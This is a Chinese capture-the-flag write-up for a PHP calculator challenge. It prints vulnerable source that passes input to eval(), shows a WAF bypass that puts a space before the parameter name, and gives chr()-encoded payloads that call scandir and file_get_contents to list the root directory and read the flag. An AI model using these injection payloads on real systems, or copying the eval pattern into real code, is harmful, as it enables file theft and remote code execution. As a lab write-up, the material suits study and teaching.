打开发现一个计算界面
查看页面源代码
可以看见有个url提示
calc.php?num="+encodeURIComponent($("#content").val())
查看calc.php获取源码
###############
$("#content").val() 是什么意思:
获取id为content的HTML标签元素的值,是JQuery, $("#content")相当于document.getElementById(“content”); $("#content").val()相当于 document.getElementById(“content”).value;
但是无论怎么注入都是400,403和500,这里用的是一个新的点:PHP的字符串解析特性
:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)当waf不让你过的时候,php却可以让你过
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
进行绕waf,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。
num被限制了,但在num前面加个空格,waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符
构造payload来查看目录,用chr转化成ascll码进行绕过
这题存在高危漏洞,提示我们传递函数,拿flag
先扫描根目录下的所有文件,利用scandir()函数列出 参数目录 中的文件和目录
也就是scandir("/"),但是“/”被过滤了,所以我们用chr(“47”)绕过
calc.php?%20num=1;var_dump(scandir(chr(47)))
发现flagg文件,然后去读取这个文件
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
#########
这题也可以用http:走私的方法